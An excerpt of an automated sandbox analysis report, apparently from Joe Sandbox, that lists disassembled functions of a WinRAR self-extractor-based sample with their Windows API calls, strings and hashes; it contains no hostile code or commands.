Opcode Fuzzy Hash: a7a39acfdf646812953a98cd49a75f851f5ab866b96511b8d06acdb7608423e5
Instruction Fuzzy Hash: A8E0E536100118BB8F129F99DD08DCE3FAAEF8A770B008015FA1956161C771A961EBA0

Function 000C7DCC Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 5dfbeca1dd04a9b8db75c6c144f931a59d91cecb2c69f2ba26366e9e33fb708d
Instruction ID: 85609b439a977cf9e335788a3f3f346aa78112611aa2c4e9afdd9616d2192c39
Opcode Fuzzy Hash: 5dfbeca1dd04a9b8db75c6c144f931a59d91cecb2c69f2ba26366e9e33fb708d
Instruction Fuzzy Hash: 39D19371A083448FDB24CF28C884B9EBBE5BF99308F08456DEC8997342D774E945CB5A

Function 000CC9C0 Relevance: 98.7, APIs: 47, Strings: 9, Instructions: 734windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000CC9C5

Part of subcall function 000B12F6: GetParent.USER32(?), ref: 000B132A
Part of subcall function 000B12F6: GetDlgItem.USER32(00000000,00003021), ref: 000B133A
Part of subcall function 000B12F6: SetWindowTextW.USER32(00000000,000E45F4), ref: 000B1350

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 000CCAB1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 000CCACF
IsDialogMessageW.USER32(?,?), ref: 000CCAE2
TranslateMessage.USER32(?), ref: 000CCAF0
DispatchMessageW.USER32(?), ref: 000CCAFA
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 000CCB1D
KiUserCallbackDispatcher.NTDLL(?,00000001), ref: 000CCB40
GetDlgItem.USER32(?,00000068), ref: 000CCB63
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 000CCB7E
SendMessageW.USER32(00000000,000000C2,00000000,000E45F4), ref: 000CCB91

Part of subcall function 000CE586: _wcslen.LIBCMT ref: 000CE5B0

SetFocus.USER32(00000000), ref: 000CCB98
_swprintf.LIBCMT ref: 000CCBF7

Part of subcall function 000B4A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 000B4A33

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 000CCC5A
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 000CCC82
GetTickCount.KERNEL32 ref: 000CCCA0
_swprintf.LIBCMT ref: 000CCCB8
GetLastError.KERNEL32(?,00000011), ref: 000CCCEA
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 000CCD3D
_swprintf.LIBCMT ref: 000CCD74
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007402,winrarsfxmappingfile.tmp), ref: 000CCDC8
GetCommandLineW.KERNEL32 ref: 000CCDDE
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,00101482,00000400,00000001,00000001), ref: 000CCE35
Sleep.KERNEL32(00000064), ref: 000CCEA5
UnmapViewOfFile.KERNEL32(?,?,0000421C,00101482,00000400), ref: 000CCECE
CloseHandle.KERNEL32(00000000), ref: 000CCED7
_swprintf.LIBCMT ref: 000CCF0A
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 000CCF69
SetDlgItemTextW.USER32(?,00000065,000E45F4), ref: 000CCF80
GetDlgItem.USER32(?,00000065), ref: 000CCF89
GetWindowLongW.USER32(00000000,000000F0), ref: 000CCF98
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 000CCFA7
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 000CD054
_wcslen.LIBCMT ref: 000CD0AA
_swprintf.LIBCMT ref: 000CD0D4
SendMessageW.USER32(?,00000080,00000001,?), ref: 000CD11E
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 000CD138
GetDlgItem.USER32(?,00000068), ref: 000CD141
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 000CD157
GetDlgItem.USER32(?,00000066), ref: 000CD171
SetWindowTextW.USER32(00000000,0010389A), ref: 000CD193
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 000CD1F3
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 000CD206
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001C7A0,00000000,?), ref: 000CD2A9
EnableWindow.USER32(00000000,00000000), ref: 000CD383
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 000CD3C5

Part of subcall function 000CD872: __EH_prolog.LIBCMT ref: 000CD877

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 000CD3E9

Strings

LICENSEDLG, xrefs: 000CD29E
winrarsfxmappingfile.tmp, xrefs: 000CCD9E
<, xrefs: 000CCD7C
__tmp_rar_sfx_access_check_%u, xrefs: 000CCCA7
@, xrefs: 000CCD89
STARTDLG, xrefs: 000CC9E1
%s, xrefs: 000CD0C4
-el -s2 "-d%s" "-sp%s", xrefs: 000CCD63
"%s"%s, xrefs: 000CCEF9

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Item$MessageText$Send$Window_swprintf$File$ErrorLast$DialogH_prologLongView_wcslen$CallbackCloseCommandCountCreateDispatchDispatcherEnableFocusHandleLineMappingModuleNameParamParentSleepTickTranslateUnmapUser__vswprintf_c_l
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 3593385084-1645151803
Opcode ID: f697cee161d1c47631dfa50ac16bd828d595b03e5f6a6aa4af52100db1445c3f
Instruction ID: e8483560e823dc3b7821a8167302877201923f453b3ef606e0df36e5ec0cf5fc
Opcode Fuzzy Hash: f697cee161d1c47631dfa50ac16bd828d595b03e5f6a6aa4af52100db1445c3f
Instruction Fuzzy Hash: FB420970A44244BEFB219BA0DD4AFFE77BCAB11700F04416AF645B64D2CBB45E84DB62

Function 000C1B7C Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 000C1B95
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 000C1BA7
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 000C1BD8
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 000C1E82
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000C1E9C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 000C1EAC
ReadFile.KERNEL32(00000000,?,00007FFE,000E4D24,00000000), ref: 000C1ECA
CloseHandle.KERNEL32(00000000), ref: 000C1F22
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 000C1F37
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,000E4D24,?,00000000,?,00000800), ref: 000C1F8B
GetFileAttributesW.KERNEL32(?,?,000E4D24,00000800,?,00000000,?,00000800), ref: 000C1FB5
GetFileAttributesW.KERNEL32(?,?,000E4DEC,00000800), ref: 000C1FF1

Part of subcall function 000C1B34: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 000C1B4F
Part of subcall function 000C1B34: LoadLibraryW.KERNEL32(?,?,?,?,00000800,?,000C0633,Crypt32.dll,00000000,000C06AD,00000200,?,000C0690,00000000,00000000,?), ref: 000C1B71

_swprintf.LIBCMT ref: 000C2063
_swprintf.LIBCMT ref: 000C20AF

Part of subcall function 000B4A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 000B4A33

AllocConsole.KERNEL32 ref: 000C20B7
GetCurrentProcessId.KERNEL32 ref: 000C20C1
AttachConsole.KERNEL32(00000000), ref: 000C20C8
_wcslen.LIBCMT ref: 000C20DD
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 000C20EE
WriteConsoleW.KERNEL32(00000000), ref: 000C20F5
Sleep.KERNEL32(00002710), ref: 000C2100
FreeConsole.KERNEL32 ref: 000C2106
ExitProcess.KERNEL32 ref: 000C210E

Strings

SetDllDirectoryW, xrefs: 000C1BA1
kernel32, xrefs: 000C1B8C
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 000C209D
uxtheme.dll, xrefs: 000C2030
dwmapi.dll, xrefs: 000C1C40, 000C2026
DXGIDebug.dll, xrefs: 000C1C15, 000C1F77
SetDefaultDllDirectories, xrefs: 000C1BD2

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1207345701-3298887752
Opcode ID: 8fd3049383647f3e9c247a51b6be20a9ff7ac925fb3b9e0580b56ad2d42fd43d
Instruction ID: 33793d96a8474c3df73ca014511ca409fff0092f18a2fb95172a63340e41dcf7
Opcode Fuzzy Hash: 8fd3049383647f3e9c247a51b6be20a9ff7ac925fb3b9e0580b56ad2d42fd43d
Instruction Fuzzy Hash: FFD151B14083C49FD7309F52DC88FDFB6E8BB85709F500D2DF685AA251DBB885498B92

Function 000BED87 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000BED90
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 000BEDCC

Part of subcall function 000BD6A7: _wcslen.LIBCMT ref: 000BD6AF

Part of subcall function 000C1900: _wcslen.LIBCMT ref: 000C1906

Part of subcall function 000C2EC2: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,000BCF18,00000000,?,?), ref: 000C2EDE

_wcslen.LIBCMT ref: 000BF109
__fprintf_l.LIBCMT ref: 000BF23C

Strings

*messages***, xrefs: 000BEF1A
, xrefs: 000BF08C
@%s:, xrefs: 000BF226, 000BF232
,, xrefs: 000BF277
RTL, xrefs: 000BF1FE
a, xrefs: 000BEF36
$%s:, xrefs: 000BF21F
R, xrefs: 000BEF2C
*messages***, xrefs: 000BEEE1

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 566448164-801612888
Opcode ID: 56e4761fb3a43d17ce275860e0529853dc82da963d44fd585ee0a225eaa47eb7
Instruction ID: fe28a8323e7e4cf7ca7f64816e7038815ba9ac81d943b196a7d09982afdf7308
Opcode Fuzzy Hash: 56e4761fb3a43d17ce275860e0529853dc82da963d44fd585ee0a225eaa47eb7
Instruction Fuzzy Hash: 6D32D07190025AABCB24EF68CC45BFE77A4FF08710F40456AFA06A7292EB71DD85CB54

Function 000CAEE5 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(?,00000000), ref: 000CAEFE

Part of subcall function 000CAC14: LoadCursorW.USER32(00000000,00007F00), ref: 000CAC4B
Part of subcall function 000CAC14: RegisterClassExW.USER32(00000030), ref: 000CAC6C

GetWindowRect.USER32(?,?), ref: 000CAF54
GetParent.USER32(?), ref: 000CAF62
MapWindowPoints.USER32(00000000,00000000), ref: 000CAF6B
DestroyWindow.USER32(00000000), ref: 000CAF7A
GetParent.USER32(?), ref: 000CAF97
CreateWindowExW.USER32(00000000,RarHtmlClassName,00000000,40000000,?,?,?,?,00000000), ref: 000CAFBB
ShowWindow.USER32(?,00000005,00000000), ref: 000CAFF1
SetWindowTextW.USER32(?,00000000), ref: 000CAFF9
ShowWindow.USER32(00000000,00000005), ref: 000CB00F
UpdateWindow.USER32(00000000), ref: 000CB018

Strings

RarHtmlClassName, xrefs: 000CAFB5

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Window$Show$Parent$ClassCreateCursorDestroyLoadPointsRectRegisterTextUpdate
String ID: RarHtmlClassName
API String ID: 3841971108-1658105358
Opcode ID: ae490925c7e2ccfe1866ad2dd38a6eab046b8721fbde5f569c580bb183f1e024
Instruction ID: fe7e1fe3875a27997044cc93d94774a544791b8a556bb6d6a99d2115bd74c2fe
Opcode Fuzzy Hash: ae490925c7e2ccfe1866ad2dd38a6eab046b8721fbde5f569c580bb183f1e024
Instruction Fuzzy Hash: D741DC72104208FFCB269F64DD49FAF7BE9EB48305F24865DF84999052DB70D840CB62

Function 000CE607 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000CC748: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 000CC759
Part of subcall function 000CC748: KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 000CC76A
Part of subcall function 000CC748: IsDialogMessageW.USER32(000103E6,?), ref: 000CC77E
Part of subcall function 000CC748: TranslateMessage.USER32(?), ref: 000CC78C
Part of subcall function 000CC748: DispatchMessageW.USER32(?), ref: 000CC796

GetDlgItem.USER32(00000068,00111CF0), ref: 000CE61B
ShowWindow.USER32(00000000,00000005,?,?,00000001,?,?,000CC999,000E60F0,00111CF0,00111CF0,00001000,000F30C4,00000000,?), ref: 000CE643
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 000CE64E
SendMessageW.USER32(00000000,000000C2,00000000,000E45F4), ref: 000CE65C
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 000CE672
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 000CE68C
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 000CE6D0
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 000CE6DE
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 000CE6ED
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 000CE714
SendMessageW.USER32(00000000,000000C2,00000000,000E549C), ref: 000CE723

Part of subcall function 000CA235: DestroyWindow.USER32(?,00000000,000CE640,?,?,00000001,?,?,000CC999,000E60F0,00111CF0,00111CF0,00001000,000F30C4,00000000,?), ref: 000CA241

Strings

\, xrefs: 000CE67C

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Message$Send$Window$CallbackDestroyDialogDispatchDispatcherItemPeekShowTranslateUser
String ID: \
API String ID: 3039329835-2967466578
Opcode ID: 9c225a9cc58002d7e1fb5210a6b73be74a9f4fc266cbb3802abf7e185e27a8f3
Instruction ID: f196c5e5a94a22e8f00acb054cb44005c2c9cac0792eabd8bcb43fed3e429427
Opcode Fuzzy Hash: 9c225a9cc58002d7e1fb5210a6b73be74a9f4fc266cbb3802abf7e185e27a8f3
Instruction Fuzzy Hash: 9131D3B1245B40BFE302DF30DC4AFAF3FADEB82704F00090DF6A196191C76559048B66

Function 000DBB0B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,000D6AF9,000D6AF9,?,?,?,000DBD5C,00000001,00000001,62E85006), ref: 000DBB65
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,000DBD5C,00000001,00000001,62E85006,?,?,?), ref: 000DBBEB
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,62E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 000DBCE5
__freea.LIBCMT ref: 000DBCF2

Part of subcall function 000DA7EE: RtlAllocateHeap.NTDLL(00000000,?,?,?,000D5584,?,0000015D,?,?,?,?,000D6A60,000000FF,00000000,?,?), ref: 000DA820

__freea.LIBCMT ref: 000DBCFB
__freea.LIBCMT ref: 000DBD20

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 7a0cabda5998727025c03a98e0ca9f57c73e9435958b49b2fae3ccf1af978078
Instruction ID: 08a4bb6bae2694087b6452419547013b707c923d8b7872db2c8048c9e97be351
Opcode Fuzzy Hash: 7a0cabda5998727025c03a98e0ca9f57c73e9435958b49b2fae3ccf1af978078
Instruction Fuzzy Hash: 6051C072610316EAEB258F65CC82EBE77AAEF44760F26466AFD05D6241EB34DC408670

Function 000DBEE4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,S,00000000,00000000,?,000DBE8B,S,00000000,00000000,00000000,?,000DC088,00000006,FlsSetValue), ref: 000DBF16
GetLastError.KERNEL32(?,000DBE8B,S,00000000,00000000,00000000,?,000DC088,00000006,FlsSetValue,000E8A00,FlsSetValue,00000000,00000364,?,000DA5D7), ref: 000DBF22
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,000DBE8B,S,00000000,00000000,00000000,?,000DC088,00000006,FlsSetValue,000E8A00,FlsSetValue,00000000), ref: 000DBF30

Strings

S, xrefs: 000DBF0D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: S
API String ID: 3177248105-186050230
Opcode ID: b8a3762d9c74bcab84976999722b016bd2c867e4a60c83b636b224a06ffa514d
Instruction ID: 559fe28afadad67cb3657ff33cbe5a4227e8aec82672f63c819c8e5a4aab664d
Opcode Fuzzy Hash: b8a3762d9c74bcab84976999722b016bd2c867e4a60c83b636b224a06ffa514d
Instruction Fuzzy Hash: A701F732715322DBD7314B68EC84A5B77D8AF45BA17124631FA1AE7380CB24D800CAF0

Function 000BAB40 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,000B8243,?,00000005,?,00000011), ref: 000BABBF
GetLastError.KERNEL32(?,?,000B8243,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 000BABCC
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,000B8243,?,00000005,?), ref: 000BAC02
GetLastError.KERNEL32(?,?,000B8243,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 000BAC0A
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,000B8243,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 000BAC59

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: caea7c931718d942fa29da9b1d162e304e5fbb68e8ed158d31619fabac46e6ce
Instruction ID: 46f1ea93af9e9ae03945aa68294bf084e813f1e4ec48ee4409c1929f707e10af
Opcode Fuzzy Hash: caea7c931718d942fa29da9b1d162e304e5fbb68e8ed158d31619fabac46e6ce
Instruction Fuzzy Hash: FA315B30644785BFE7309F24DC45BDABBD5BB06320F100B29F9B0961D2C7B5A848CB96

Function 000C2206 Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C24DF: ResetEvent.KERNEL32(?), ref: 000C24F1
Part of subcall function 000C24DF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 000C2505

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 000C223A
CloseHandle.KERNEL32(?,?), ref: 000C2254
DeleteCriticalSection.KERNEL32(?), ref: 000C226D
CloseHandle.KERNEL32(?), ref: 000C2279
CloseHandle.KERNEL32(?), ref: 000C2285

Part of subcall function 000C22FC: WaitForSingleObject.KERNEL32(?,000000FF,000C2419,?,?,000C248F,?,?,?,?,?,000C2479), ref: 000C2302
Part of subcall function 000C22FC: GetLastError.KERNEL32(?,?,000C248F,?,?,?,?,?,000C2479), ref: 000C230E

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 1f72b55af14e393d3a44cc143078351dc9bdd172c0a7ebb2449124b667708515
